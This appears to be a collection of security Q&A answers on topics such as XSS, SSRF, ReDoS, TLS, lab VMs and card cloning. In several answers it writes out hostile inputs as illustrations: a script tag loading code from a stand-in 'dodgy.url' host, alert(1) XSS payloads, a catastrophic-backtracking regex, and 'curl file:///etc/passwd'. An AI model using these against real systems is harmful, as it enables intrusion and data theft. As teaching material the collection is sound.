Depends on the hardware, if you are using an SSD then there is a "chance" (read very expensive material needed) to recover those documents. If it's a magnetic disk, then there is no way to my knowledge.

If you really want to get rid of your documents, burn your hard drive and just reinstall your operating system. That will probably be faster too.


Is SQL Injection possible in this case (REGEXP)?

You can't invoke a command from a regex, so you can't do an SQL injection in this case.

However, you could enter a very long processing regex that would certainly cause issues with the web site. For example forward lookahead with multiple wildcards (see Mastering Lookahead and Lookbehind).

Here is an example (in Java regex):

\(([$_a-zA-Z][$_a-zA-Z0-9]*(?:\.[$_a-zA-Z][$_a-zA-Z0-9]*)*(?:,[$_a-zA-Z][$_a-zA-Z0-9]*(?:\.[$_a-zA-Z][$_a-zA-Z0-9]*)*)*)*\)

The syntax that your regex uses may be slightly different, but this is the general idea.


Is it possible for XSS to occur in src attribute?

Yes, and quite easily (if I understand the question correctly).

If a website has a comments section which allows the user to post anything (or any section where it allows a user/visitor to post anything) and it outputs what they enter exactly as it appears without any sanitation, they could enter something like:

<script src="http://dodgy.url/badscript.js"></script>

If that was then output as regular HTML, then anyone visiting the page would have that script loaded for them, probably without the website owner knowing about it.


Obtaining the IP address of a virtual machine to use Metasploit

I'd actually disagree with most here and advise you to go to host only mode. This means go to File > Preferences > Network and click on the add adapter button. This creates a virtual network interface on your computer.

At that point you can go to your vulnerable VM > settings > network > Host-only adapter. This means only your main PC which is running the VM or other virtual machines can interact with the VM. You still get separate IP addresses etc, but you should really never have deliberately vulnerable machines on your live network. It will be perfectly suitable for pen testing, and is infact the recommended setting for deliberately vulnerable VM's such as metasploitable.

Find your IP address the way you would for that style of machine, typically typing ipconfig in cmd for windows or ifconfig in terminal for a linux based system.

This protects you accidentally exposing it externally.

Edit: Dammit I didn't see this had been raised from ages ago for some reason.


It's very unlikely to indicate any security breach; I can't think of any attack that would involve or result in adding content to browser autofill. It would be unusual for someone to fill in their real name in that scenario as well.

As for how it could have happened, here's what I'd suspect. Autofill remembers, for a given field name, everything you type into that field. It can unintentionally have separate entries "FirstName" and "First name", depending on how the fields were called in the page's code. They're not split by purpose, on the other hand, so if you enter someone's name in a people search form, autofill could later suggest it as yours.

Using a different google account won't necessarily reset autofill, as the data is stored on the local PC. Browser data can even travel between two PCs via a common accounts, then between accounts on the new PC, so one can occasionally dredge up really old pieces.


There are many aspects of malware that may be considered to bridge air gaps. But it is important to note that it isn't very common 'in the wild'. There aren't many examples of this being done in the real world, and it is mostly an academic demonstration of concepts.

To name two:

Infection through physical access - Like you said, thumb-drives are a well known method to infect machines with malware. Also pretty common are HID attacks that can inject a malicious payload that loads malware to the machine, DMA attacks using DMA enabled physical devices and more...
Air gapped data exfiltration - see here and here for examples. These are methods of extracting data from air gapped machines using side channels.


Intercept HTTP Traffic of an android app?

I am sorry but I am having a hard time understanding the question fully. I will try to give some advice for further investigation.
It is my understanding that you are experimenting with a banking application, and that you found that

I have installed the app in Genymotion emulator and the app behaves differently

That's reasonable for a banking application. They often actively detect the emulator. Most banking apps will grind to halt when they detect 1) emulator, 2) su executable 3) debug mode ON

I can intercept other apps on my device but I am unable to see the traffic of the app

Unfortunately I don't know how the burp suite works (and that is bad in the first place!!), but you need to make sure that the intercepting suite acts as a transparent https proxy, as the app may try their best to bypass any system proxy setting.
From what I know in my SW engineering experience, a proxy is set in Java by setting system properties. The app may be trying to temporarily hijack the proxy properties, which is allowed within their ClassLoader, in order to bypass proxy.
Ideally, the testing should be done after removing phone's SIM card (or disabling mobile data) and connecting to a specially crafted wifi hosted by the testing suite. If burp allows that, then the app is a real challenge.


Is appending a double quote at the end of an input query a valid XSS prevention method?

I can think of no condition in which this would mitigate XSS.
If an attacker supplies <script>alert(1)</script>  the result will be:
<script>alert(1)</script>" which will still execute.

Further more,  an attacker can just comment out the double quote in javascript:
alert(1)//"

You don't need an html comment to build valid html:

<input name="search" type="text" value=""><script>alert('hi')</script><input name="inject">

You should read the XSS prevention cheat sheet,  XSS is extremely common and you shouldn't come up with home-brew solutions to well known problems.


On the use of gpg2 for long-term encryption

Yes, to both of your questions.

GPG uses the passphrase to programatically generate a symmetric encryption key that is used for the encryption/decryption process when the --symmetric flag is passed to the program.

Yes, any program that uses the OpenPGP algorithms can create the decryption key from the same passphrase (that algo is the special sauce, and it is part of the open code, so anyone can use it).

Also, just so ya' know, PGP/GPG encrypts everything with symmetric encryption.  The difference triggered by the --symmetric flag is that normally it generates a completely random encryption key per output file, but then uses asymmetric encryption to encode this key to each listed "encrypted to" party, and includes those at the beginning of the file.  That way any of the encrypted-to parties can use their private key and the first part of the file to find the symmetric decryption key.  But since symmetric is so much more efficient, it is what is actually used to encrypt the payload data.


Stack address is shown less than heap address in C program

As you have spotted, with %p it works as expected.

The explanation at the source of your situation is that %x reads integers (whose size is 4 bytes) out from pointers (whose size is 8 bytes on your architecture).
So, you are simply asking printf to read the first 4 bytes of the pointer, neglecting the rest 4. You may change your format to "0x%016lx" to format pointers with leading zeros.

In those cases where the pointer is small enough to fit in 4 bytes, you see them (haphazardly) correctly because the least significant bytes are stored as first due to the fact that your architecture is little-endian.


If you are getting SYN/ACKs, then the ports are open. The firewall may be responding to all ports on behalf of the server behind it if there are no forwarding rules configured.

If you mean that you want to know if there are legitimate running services on those ports, then you need to do what you just did: connect to them and "banner grab".

Nmap can do all that.


The "Security Module" as per the link below clearly states the following:

Their security precautions:

  additional security precautions are taken to make it as hard as
  possible to exploit this vector.

  included on the HSTS preload list, so major browsers will only ever use HTTPS for all connections to f-droid.org
  a strong TLS/HTTPS configuration
  a strong HTTP Content Security Policy
  PGP-signature on the initial install download link
  automated regular and random auditing that F-Droid.apk has not been tampered with
  F-Droid Limited controls many potential phishing domains like fdroid.org, f-droid.com, and f-dro1d.org.
  website is statically generated to greatly reduce the attack surface
  website is fully functional when Javascript is disabled in the browser, eliminating all possibility of XSS attacks

And as for the in-app application:

  Protecting against malicious contributor-generated data

  The app descriptions are submitted by all sorts of people, and they
  can also be taken from the app’s source repository. This data is
  ultimately delivered to the Android client or the user’s browser via
  f-droid.org.
  the Android client never runs CSS, Javascript, or dangerous HTML tags since it displays HTML via android.text.Html.fromHtml() with
  image loading disabled
  the f-droid.org website protects against malicious and CSS/HTML/Javascript injection with a strict HTTP Content Security
  Policy.
  Repomaker filters the texts through Mozilla’s bleach and has a good HTTP Content Security Policy.

Answering your question: (Reddit Source)

  As others have said, we don't audit every single app that makes it
  into the store. But we do make sure that everything is free software,
  and do test/investigate to a certain degree.

  There was recently a study made of the amount of malware apps in each
  app store for Android. I can't find it now, but IIRC it was a pdf and
  should have been published in the past year. Basically, what it said
  is that many alternative stores smaller than Google Play were close to
  having no malware, but only one had absolutely none: F-Droid.

  I guess what I'm trying to say is that we're not bulletproof, and we
  never said we were. Our only promise to the users is that the apks we
  distribute come from the source that is publicly available, and have
  been built and distributed by the F-Droid server tools which are also
  free software. So far, this policy seems to have worked well :)

Links:

https://www.reddit.com/r/privacy/comments/3cjj2e/how_secure_is_fdroid/ Reddit, Answering the OP's Question

https://f-droid.org/en/docs/Security_Model/ Source

https://f-droid.org/en/2018/09/04/second-security-audit-results.html Recommended


Demonstrating the risk of drive by downloads to the uninformed

Is there a way or a website to show them exactly how naive they are?

Sure. Start by explaining them the vector attacks of this type of attacks. Tell them that it is common to find vulnerabilities in web browsers, their plugins or even extensions. Explain them that as such vulnerabilities  are common, drive-by download attacks are always possible.

This done, a good and effective method, is to give them real world examples of well known safe and reputed website that have been compromised to perform drive-by download attacks. In this, I can give you two examples:

Thousands of visitors of the Amnesty International's homepage on 2011  have been infected by a drive-by download attack. The webpage in question was running a Java applet suffering from the CVE-2011-3544 vulnerability.
On October 24th, 2013, the admins of the famous php.net website said that their website delivered malware to its visitors using a drive-by download attacK.


Is allowing unfiltered curl request from a website a vulnerability?

If the input is not carefully filtered, then that is a vulnerability called Server Side Request Forgery (SSRF).

There is even a common weakness enumeration number and page for it.
https://cwe.mitre.org/data/definitions/918.html

  By providing URLs to unexpected hosts or ports, attackers can make it
  appear that the server is sending the request, possibly bypassing
  access controls such as firewalls that prevent the attackers from
  accessing the URLs directly. The server can be used as a proxy to
  conduct port scanning of hosts in internal networks, use other URLs
  such as that can access documents on the system (using file://), or
  use other protocols such as gopher:// or tftp://, which may provide
  greater control over the contents of requests.

By exploiting this vulnerability an attacker can:

Scan hosts from the server's internal network that is not normally accessible
Enumerate and attack services that are running on these hosts
Exploit trust relationships which the vulnerable server might have
Proxy HTTP traffic through the vulnerable server which will mask the source of the traffic

Unfiltered cURL support is even worse than a normal SSRF vulnerability because cURL supports many URL schemas besides HTTP and HTTPS. Run #curl-config --protocols to see what is supported.

You can access local files with the file:// URL scheme (curl file:///etc/passwd does work on linux)
It’s possible to use the dict:// URL schema to make requests to any host on any port and send custom data. The URL dict://host:port/command will cause the server to connect to a host and send the string command to the specified port.
Access different services:

ldap://
ftp://
scp://
smb://
telnet://
imap://
pop3://
smtp://
rtsp://
tftp://


Why do browsers allow public websites to attack intranet sites?

The problem is not limited to private IP's, and poses just as big of a problem to public services. If you were to force a same-domain policy on all site assets, you would encounter plenty of problems with sites who have multiple domains (google, yahoo, facebook) and anyone who uses CDN service.

Obviously this wouldn't be the case when talking strictly private IP space, but I do not think that is the answer to the problem. It may prevent sites from automatically attacking private resources, it's still trivial to get an unknowing user to click a link pointed at the same thing.

In the end, the responsibility lies in the hands of the target server. The server should be taking steps to mitigate CSRF attacks, and only parse GET parameters for public/non-sensitive data.


Can I enter PINs or passwords into a FIPS140-2 crytographic module in plaintext?

Yes, authentication data can be entered in plain text. That is, in fact, usually the case: a very common type of authentication is that a human types the password on a keyboard or similar device. In most settings, there would be no way to protect the password: you would need another cryptographic module for that, which in turn you'd want to certify under FIPS 140…

You must take care that the authentication data cannot be leaked at the point of entry. This is embodied in rules about feedback provided to the operator entering the data (§4.3.3):

  Feedback of authentication data to an operator shall be obscured during authentication (e.g., no visible display of characters when entering a password).
  Feedback provided to an operator during an attempted authentication shall not weaken the strength of the authentication mechanism.

The security level does not affect the rules regarding entry of authentication data, nor even the rules about authentication strength (at most 10-6 probability of one random attempt succeeding, at most 10-5 probability of succeeding with random attempts in under 1 minute). The security level only affects what kinds of authorization model the authentication data must be provided for (none at level 1, role-based at level 2, identity-based above that).

There are no additional requirements when initializing the authentication data (as in setting a password).

Once entered into the module, the requirements on authentication data vary depending on the security level (§4.6.1):

Level 1 doesn't put any requirements on authentication data even if it is present.
Level 2 requires that all attempts to access or modify authentication data be logged.
Level 3 requires that authentication data be communicated through a trusted mechanism.

No cryptography is required at any point: the authentication data can be protected by physical means alone. The requirements on stored authentication data are (from §4.3.3):

  Authentication data within a cryptographic module shall be protected against unauthorized disclosure, modification, and substitution.


There are absolutely security concerns with this; otherwise, the session timeout would be useless in the first place.

That said, there may be good reasons to disable session timeouts, but in this case, you can and should do so explicitly, and with full regard of all consequences.

To add to the solution: while I think it's already questionable to have a single form on a single web page that takes that long to fill out without saving in the meantime, with the risk of loosing the whole work when anything goes wrong (big usability issue), I think what you do want to achieve is prolonging the session (and thus the validity of the csrf token) by doing an ajax request every so often when the user is still active. So you should monitor if any form fields where changed (for example, within the last 5 minutes), and only then start the ajax request.


How to use HTTPS for servers whose IP and domain name change, potentially frequently?

The certificate is used to validate that a client is talking to the expected endpoint and not to some man-in-the-middle. If IP address and hostname change frequently this means that they cannot be used for identification.

  ... not all under our control - they might be common browsers.

Browsers expect to have a constant hostname, even for certificates were an explicit exception was made. Thus common browsers can not be used if the hostname changes frequently.

  Does the answer change if we have control over the client (an app)?

In this case you could use certificate/public key pinning, that is your application does not expect a certificate signed by any trusted CA where the certificate matches the hostname but instead it expects a specific certificate or at least a specific public key. Of course this expectation must be hard-coded into the application.

Another option would be to work around the problem of changing hostnames by providing your own DNS service and provide constant hostnames within your own domain (e.g. foobar.customer.example.com). But this would require that each device announces any hostname changes to your DNS server so that the appropriate CNAME alias could be setup and that the clients would need to have an internet connection in order to connect to the device even if the device is in the same local network.


Is this a safe way to connect to a server

If you have a SSH login, SCP gives you a secure way of copying after you have securely logged in.

Since the backup software and its transport method isn't identified most of what can be offered is guesswork, but if it's a commercial package, check to see if instead of FTP, you can use SFTP or SCP for file transfer. Most modern packages will support FTP, SFTP/SSH and SCP.

If you're using phpMyAdmin to do this SQL backup, then you shouldn't be connecting to it by any other means than SSL and it should be locked up behind something like cPanel for even more security.

Changing IPs is security by obscurity and a simple packet sniff defeats it.


Security-by-design based on an existing framework or a custom design?

If you were to start a framework from scratch, you would have to catalog and address a wide range of possible vulnerabilities - from input sanitation to cross-site exploits, from authentication (and hashing, salting, password recovery, possibly data encryption) to resource access control.

What I mean is, these are things you would need to do in abstract, before starting development. So what about doing them in the abstract, and then applying them to an existing framework?

This would have several advantages:

larger developer base. Given enough eyes, most bugs are shallow (even if events such as the SSL storm have tarnished that concept).
already-(largely)-audited code base.
a concrete, definite framework to which to apply the various security concepts and issues, short-circuiting the whole design-mock-build-test cycle.
larger creative base - however brilliant you may be, you plus the others will always think of more possibilities than you alone. When doing the laundry list of things to do and watch for, this will be an invaluable help.
the rest of the code is already there - you did focus on security, but the rest of the features and functionalities have been already developed.
also, the rest of the code will probably supply some requirements just by being there - things that the framework need to be able to do. What if you designed a splendid, tightly secured system which later turned out to be unable (or able only with great difficulty and patching) to perform some key feature that in the beginning had been overlooked?

You do have the disadvantage of not being able to design the whole framework from the ground up, which could spawn some issues of its own.

But at least to start, I'd begin with a thorough examination of the security approach in an existing framework. And you get a lot of good karma with your chosen framework's guys; from a career standpoint, it's much more likely that you'll meet some potential employer requiring expertise with a known framework.


Privacy in P2P vs relayed connections for VoIP

I wonder whether using a relay server in the middle doesn't actually add a layer of privacy since it would be less obvious where the packets are being sent - all packets would go to the server instead of being sent straight to the other device.

It adds different kinds of privacy. You have (mainly) two kinds of privacy here:

Privacy from provider
Privacy from other users.
Privacy from someone with network level access (ISP, government)

A P2P architecture can be implemented in a way so that the provider is only involved in the set up of the connection, and doesn't need to know for how long you communicate, if you use video etc.
However, a P2P-structure will leak info about users to other users. This may or may not be an issue. In many cases, users communicating will know each other, and will prefer not leaking information to a provider over leaking information to whomever they're talking with.
However, if you're a Chinese dissident using a non-national service, it's probably preferable to leak information to the provider over the other user.
It will affect latency - especially if the two clients are otherwise close (e.g. same cell phone provider and country), but the server is 50ms away.
Signal gives the users a choice:

I believe this is the best solution, especially if the users are educated on security. They may make their own trade-offs based on what value they place on the various aspects. For me, the quality penalty makes me stick to P2P. This is based partially on the fact that I'm in a politically stable region with a very strong freedom of speech.
To protect against someone who can do network level eavesdropping, it should be impossible to correlate streams.
Now, if clients communicate P2P, it's absolutely trivial to work out who communicates with whom; the streams are direct.
If they go via a central proxy, it's harder, but probably not impossible to correlate streams in time, based on size and frequency of packets. There's been research on unmasking tor users based on this.
In short, you have multiple different kinds of privacy worries. Some of them are mutually exclusive. Different users will have different needs of anonymity. A dissident communicating with peers may want P2P, to avoid any central servers that can be targeted. The same dissident, when recruiting other dissidents, may want a centralized server - as that makes locating them harder.
When I'm talking with friends, I don't care if they know who I am; they alread know, so P2P is just fine. If I'm selling drugs, I probably don't want people to get my IP address.

If it is, is there a way/are there any known techniques to obfuscate the source/destination when establishing P2P connections, specifically when using IPv6? By this I mean somehow hiding/changing possibly identifying information such as the IP & port number.

No. IP packets require source and destination. Port number may be choosen freely.
The technique for obfuscating IP is using a proxy (as you are suggesting) or a VPN.


User name and password is passed in custom headers

The Authorization header is often treated specially by reverse proxies, IDS/IPS, firewalls, web caches, web servers, etc. in regard to information disclosure. The primary concern here is that headers may be logged or cached by intermediate systems if your architecture is more complex than just a single web server running over HTTPS.

If you're just running something simple like an Apache or nginx server with no special logging then I wouldn't consider using an alternative header to be a security issue. In such a setup it's no different to using Authorization or Cookie headers in terms of security.

In general if you have the option to pass sensitive data in a POST request instead of in a header, do so. POST bodies are almost never logged except in debugging scenarios. You also have the benefit of the browser's automatic prompts to avoid accidental resubmission of a form using the browsing history buttons (back, forward), whereas a GET with an authentication header will not trigger this mechanism.


DotFuscator will "encrypt" string literals, although I cringe at the use of the word "encryption" in that context. Your string values "AppInformation7653" and "GG3MDhlxnZDdDx7" won't appear "as is" in the resulting assembly, but the code necessarily contains everything that is needed to rebuild their respective values at runtime. So don't believe that such obfuscation will actually thwart reverse engineering; it may just deter the least motivated or competent of attackers, but skilled attackers will just laugh at your feeble attempts at obfuscation.

As usual, code obfuscation is more about giving a feeling of security than actually making things more secure. The real value of obfuscation is that it demonstrate your intent of keeping the code internals somewhat secret, which can be handy in some legal situations (a reverse-engineer will not be able to claim that he "didn't know", in good faith, that the code was not supposed to be scrutinized that way). As will all things legal, this may or may not work in any specific jurisdiction, and I am not competent to give any specific legal advice anyway.


Yes, it is possible for X.509 to be only "TLS client" (actually to have the extended key usage only set to client). I suggest you to take a look at XCA, it is free a graphical tool which will allow to easily create and manage certificates (it is actually a small PKI).

You will then be able to visually see all the main options a certificate can have, which one fits in the client or server template profiles, and play with these options.


Why am I getting a certificate error while searching google.com.ph?

Uninstall the Social2Search browser addon from your computer.

It appears to be intercepting connections to web sites you visit, probably to inject its content into web pages. In the process, it is inserting its own invalid SSL certificates into HTTP connections.

A human-readable version of the certificate is below -- the "issuer" of the certificate is what led me to Social2Search:

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            e6:a8:18:56:e8:20:4c:c1:6b:34:50:ab:ea:30:2a:35
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: emailAddress=info@technologiemounac.com, C=EN, CN=263f0c95ccd5ebab
        Validity
            Not Before: Jan 25 10:08:00 2017 GMT
            Not After : Apr 19 10:08:00 2017 GMT
        Subject: C=US, ST=California, L=Mountain View, O=Google Inc, CN=*.google.com.ph
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (1024 bit)
                Modulus (1024 bit):
                    00:c4:6d:ad:0e:32:ab:33:8d:52:4d:dc:b6:2d:41:
                    20:5b:f6:0d:96:a0:d4:dc:38:18:38:8e:98:24:8f:
                    67:cd:11:6b:14:8a:1a:3f:a0:8c:73:4c:39:63:d2:
                    81:44:c3:c3:8d:4a:a5:5c:11:e6:ec:c4:b7:60:c2:
                    56:c5:15:33:7b:9f:d5:67:7a:90:40:91:7f:b6:6f:
                    00:14:c8:a6:f0:34:63:22:4a:5c:fc:c9:0e:86:ab:
                    98:39:40:ad:ed:e1:b8:98:38:12:e3:7d:3b:a1:aa:
                    29:a1:55:39:5c:62:06:c9:3e:ad:e4:5a:17:cb:30:
                    d8:d6:94:5f:1f:c0:44:04:0d
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Alternative Name:
                DNS:*.google.com.ph, DNS:google.com.ph
            X509v3 Basic Constraints: critical
                CA:FALSE
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication
    Signature Algorithm: sha256WithRSAEncryption
        34:e5:60:c8:99:8f:17:c6:62:c3:b3:68:29:95:95:e4:9c:e2:
        d9:7c:7d:3d:e2:23:71:19:46:cf:84:d7:48:ee:3c:13:c5:9c:
        e2:47:a8:92:c5:fd:04:84:6c:b1:92:be:31:fd:0f:4c:72:19:
        dc:6b:7a:88:a8:b1:c0:7f:98:9e:a9:be:7f:c2:b0:d8:2d:01:
        5d:fb:e3:ab:60:4d:34:12:da:2f:39:47:fb:09:5b:b2:f6:03:
        10:db:a8:73:81:d7:19:a9:b9:8d:42:2b:cc:f7:b9:19:b9:a9:
        7f:af:33:8a:23:0b:5d:b2:8c:a2:7e:1d:ec:cb:50:db:5c:a6:
        84:59:07:60:61:07:80:c8:84:45:5b:cf:e0:a0:1e:ad:33:96:
        f5:fc:4e:8b:ef:c3:e3:4e:22:25:16:a0:32:81:23:c0:8b:49:
        9f:2f:62:cb:ca:1c:6f:cd:a9:cb:8d:64:89:93:0a:5b:59:03:
        41:62:1c:1a:06:b3:62:4e:46:b9:b6:38:0c:a9:9c:00:d0:d2:
        44:f6:05:34:b0:70:40:6c:63:cb:bc:80:b4:f9:eb:99:2f:d9:
        19:7b:81:7f:20:5e:0b:42:92:6b:5c:98:bf:37:11:07:e4:95:
        a1:ca:48:a9:83:45:35:8d:00:cf:55:f5:82:27:e2:08:2d:61:
        45:fc:b0:6d


My local certificates may have been compromised. What to do now?

If you think an attacker has had unauthorised access to your system, the only way to be sure that you've removed the infection is to rebuild the system completely from trusted media.

Whilst you may have seen an event log entry relating to certificates there's no way to know whether other changes have been made which are not in your logs.


What you are describing is actually your own, reduced auto-update feature, limited to updating what amounts to a "trust store" for certificates.

The bad thing about it is that it works outside of the normal app update mechanism, without much possible user intervention, so the user will get the updates whether he wants them or not.

The good thing about it is that it works outside of the normal app update mechanism, without needing user intervention, so the user will get the updates even if he believed that he could live without them.

Google Chrome has been doing just that for some time, and even update the actual software code, not just the trust stores; and it seems to work well with them. As @mikeazo comments, if your "root private key" (the private key for your self-signed certificate) ever gets stolen, you are in deep trouble, so maybe you should use a signature strategy: instead of making your server be some HTTPS server (with the self-signed certificate for SSL), make it a plain HTTP server, but have the "list of valid certs" be a signed piece of data. That way, you can handle the signature process on a distinct machine, preferably an offline computer (if the private key never leaves a computer which is never linked to any network, then chances are that the private key will not be compromised remotely).


What is the risk of giving USB drives as promotional items by a healthcare provider

The risk to the recipient is that there could be anything on there. The biggest risk to you is probably reputational damage, as you are just providing empty USB sticks, not delivering them with sensitive information on. I would be surprised if they could hold you liable for loss of their data - I don't know of any cases thus far where this has happened (however I am not a lawyer, not do I play one on TV)

Mitigation options:

Scan every USB stick before the giveaway. This is time consuming so will depend on volumes
Ensure your provider is contracted to scan every stick, with penalty clauses for failure
If you are worried, add a disclaimer to confirm that you make no warranty for the sticks


It is possible, and it's also possible to change the service code value on the clone card to trick terminals into believing this card never had a chip to begin with (otherwise EMV capable terminals would ask for the chip), however I would expect the banks (who know whether the card truly has a chip or not) to reject magstripe transactions submitted by an EMV-capable terminal.

As pointed out in the comments, tampering with the service code may get detected and declined by the banks but I wouldn't count on it. The best solution would be to either be careful or have a card that rejects non-EMV transactions - I am currently trying out Monzo and they reject such transactions by default, with an option to temporarily allow them on a case-by-case basis, so you may consider trying their card out.


Following the article that you have mentioned, it appears that the vulnerability lies in the http redirect where an attacker can insert the malicious redirects on vulnerable APT versions to download the malicious .deb packages and further install them to infect the system.

Further, the above suggestion to use AllowRedirect=false was just a precaution if you suspect a network man in the middle. Since you have already updated to the latest version though using the normal way, I don't think that would cause any problems. However, it's always recommended to check the response message on what contents APT is going to install to be sure.

Lastly, the guidelines from Ubuntu for upgrade outlined at https://wiki.ubuntu.com/Security/Upgrades haven't mentioned of any redirect flags to be used!

Cheers!


This is a broken design because a GUID is not supposed to be secret, yet from what I understand it provides access identical to entering your username and password on the website.

In theory the design is solid. Protect the GUID as if it were the user's password and case closed.

In practice this introduces a lot of problems.

Example: I start working at your company today. I'm told to write a search feature so that you can find other users by email address. I would probably code the search results as a page showing a list of links to profiles, which contains something like ${user.name}. Upon checking which columns to use I discover that the id field is called guid and the name field is called fullName. I test this. It works. I push the code.

Without realizing it, I just leaked the user's GUID which basically provides full account access. Now you can hijack any account of whom I know the email address.

Right now the programmer may constantly have in the back of his mind that knowing the GUID provides full account access, but in a few months it won't be something you think about a lot anymore. Since it is, I assume, the only unique way to point to an account, you need to use it in a lot of places. Especially for user interaction this might be a problem (perhaps users can form companies or groups, share folders, you name it).

A better way would be to separate identification and authentication. The GUID identifies a user whereas a security token authenticates a user. This completes the Identification, Authentication and Authorization (IAA) parts of a security system: the system decides the Authorization based on the Identification after verifying the Authentication. This is why, in addition to passwords, we also need to fill out a username on websites. Using only one or the other is generally a bad idea.

All places where the GUID is currently used should be replaced with the newly generated security tokens. For example a request might look like this: /API/2.0/doAction?GUID=${user.guid}&token=${some_security_token}. Note that these tokens must be fully randomized (odds of guessing it must be around 1 in 2^128).

There are many ways of generating these security tokens. Many websites generate sessions, but you could also use an extra database field. Whenever API calls are made, the user is authenticated by this random field. The field should be called something that makes it clear it's not supposed to be known to others.

Again, in theory it doesn't really make a huge difference in the system's design whether you use a random GUID or another randomly generated field for authentication, but in practice I think it does prevent a lot of big security errors, especially when the site has any kind of user interaction (but also if it doesn't, e.g. a password reset feature might accidentally expose the GUID after entering a username or email address). It simply reduces the number of attack possibilities.


I don't think you can resolve that. This is a matter of how the TCP/IP stack is working in the Operating System.

Also have in mind that this allows the Operating System to avoid being used in Zombie attacks: How does nmap do a zombie and decoy scan?


Remote authentication with random number challenge vs timestamp?

This white paper from ExploitDB will likely answer many of your questions.

https://www.exploit-db.com/docs/english/41621-attacking-rdp---how-to-eavesdrop-on-poorly-secured-rdp-connections.pdf

My best guess is they chose to use a pseudo random number because they choose to use a XOR operation, which requires the key to be at least the same length as the plaintext for efficacy. Because a timestamp would always be fixed length, it eliminates a good deal of key possibilities.

Disclaimer: I'm not a cryptanalyst, and this question may be better suited to the Cryptography StackExchange Community.


Netdiscover running on NAT interface not finding IP addresses on host-only network?

Netdiscover finds IP addresses using the Address Resolution Protocol (ARP), which matches IP addresses to MAC addresses.  However, ARP by design will not cross network boundaries (see for example at https://superuser.com/questions/1003990/vmware-nat-not-populating-arp-with-ip-mac-from-vmware-host-only).  Therefore, there is no response to the ARP requests from Netdiscover from machines that are on the host-only network when a query is sent from the NAT network.

NMAP and Ping use different protocols which are supported across the virtual network.  This answer was confirmed by using Wireshark and then placing the attack machine on the same host-only network.  When the attack and target machines are on the host-only network, Netdiscover worked fine.

The issue is not with Netdiscover, but with the virtual network.  This issue turned out to be virtual networking and not information security, but other security testers may have similar concerns as they work on virtual networks, therefore answered here.


Potential insecurity in not sanitizing variables before INSERT with prepared statement in PDO

Assuming you're putting the input data into a parameter in the query, it's secure against SQL injections. Anything you insert into a parameter is treated as data only, and cannot become part of the query syntax. String concatenation, however, is not safe.

So this is safe:

$pdo->query('select * from users where user_id = ?', $_POST['id']);

This is not:

$pdo->query('select * from users where user_id = ' . $_POST['id']);

Keep in mind that you'll need to do appropriate output escaping if you want to use the data in a web page later, in order to stop markup injection and cross-site scripting (XSS) attacks.


Welcome to Security.SE. :)

Yes, there are a few things you can do to find Spring Framework, or more specifically Spring Boot. Spring Security is a little more awkward, but you can look for /login and see what it does. Here's some things I do:

favicon. The green leaf is a dead giveaway.
/env and /health (https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html) or if using the newer Spring Actuator, /actuator/env and /actuator/health

Aside from that, look at the HTML responses. Especially on /login. It has a boilerplate response.


I'll assume you're talking about BitTorrent, rather than Gnutella or other P2P protocols.

There's no standard port for BitTorrent traffic, so you're going to have to do some digging.

First, BitTorrent talks to a set of trackers. This communication is done over HTTP, and will have (at least) the following headers:

info_hash - a URL-encoded hash of the metadata (.torrent) file.
peer_id - a URL-encoded random string.
port - the port number that the client is listening on - useful for filtering later!

However, sometimes this is done over HTTPS, so it makes it a little more difficult to detect. You should look for any traffic occurring on ports 80 or 443.

Next, you're going to want to look for traffic between peers. The peer handshake nicely provides an easy-to-search header:

<pStrLen><pStr><reserved><infoHash><peerId>

The pStrLen field tells us how long pStr is in bytes, and pStr is the protocol identifier. Normally, this is "BitTorrent protocol", so pStr will be 19. You can therefore search for packets that start with 13 42 69 74 54 6f 72 72 65 6e 74 20 70 72 6f 74 6f 63 6f 6c.

Some BitTorrent clients support encrypted client-to-client protocols, but I'd guess that they're not going to be that rough on you for a forensics challenge.

Source: http://wiki.theory.org/BitTorrentSpecification

It's possible to identify encrypted BitTorrent traffic using passive statistical analysis. Erik Hjelmvik and Wolfgang John showed techniques for analysing encrypted communications protocols, including BitTorrent. Table 5.4 in their paper shows the confidence level to be 0.965 for MSE (encrypted BitTorrent). Section 6.1 explains some details of the analysis, and mentions a few properties that can be identified with relative ease.


Ensure web service only accessed by authorized applications

The bottom line is that you will need to embed a secret into your app. It is an unfortunate truth that DRM (which is more or less what you are trying to achieve) is impossible. A person with access to your app will always be able to recover the embedded secret, no matter what you do to protect it.

That said, there are plenty of things you can do to make your embedded secret very difficult to recover.

Construct it at Runtime - Do not store the secret in a string or configuration file anywhere in your app. Instead derive it from a series of computations at runtime. This stops attackers from simply browsing your app with a hexeditor.
Never Send it Over the Wire - Use a challenge-response system of some kind with a >128bit nonce, that way an attacker cannot MitM the SSL stream (which is easy when he controls the mobile device remember) and see the secret in the clear.

In any case, try to find a tried and tested key-scrambling mechanism and authentication protocol. Do not roll your own.


Sniffed SSL/TLS decryption : handshake necessary?

That said, RSA handshake consists, in fact, in an exchange of public keys, followed by a secured exchange of an AES key, which is then used to encrypt all communications without any length cap. So RSA based exchange is only used at the handshake moment.

There is no RSA handshake but a TLS handshake. And there is usually no (bidirectional) exchange of public keys but in most cases only the server will provide a certificate which includes a public key.

The TLS handshake includes a key exchange which is usually either RSA key exchange or DH key exchange. With RSA key exchange the client will create some random secret, encrypt it with the servers public key (taken from the certificate) and send it to the server.  The server then can extract this secret using its private key. The encryption key for the symmetric encryption (which can be AES but also something else) is then created based on this shared secret. This means with RSA key exchange only the private key of the server is needed to decrypt the sniffed traffic.

Note that modern implementations prefer to use DH key exchange. In this case knowing the servers private key will not help in decrypting the traffic. Instead the shared secret from this specific session is needed.

For a deeper understanding of TLS I recommend to study How does SSL/TLS work?.


Does using ssl matter if I am connected using a VPN?

VPN is a Virtual Private Network: it isolates a group of machines from the rest of the world, so that these machines can talk to each other undisturbed by outsiders. If the isolation is reasonably thorough (it uses encryption, and it uses it properly), then communications between any two machines in the VPN will be protected from eavesdropping and alteration from machines which are not in the VPN.

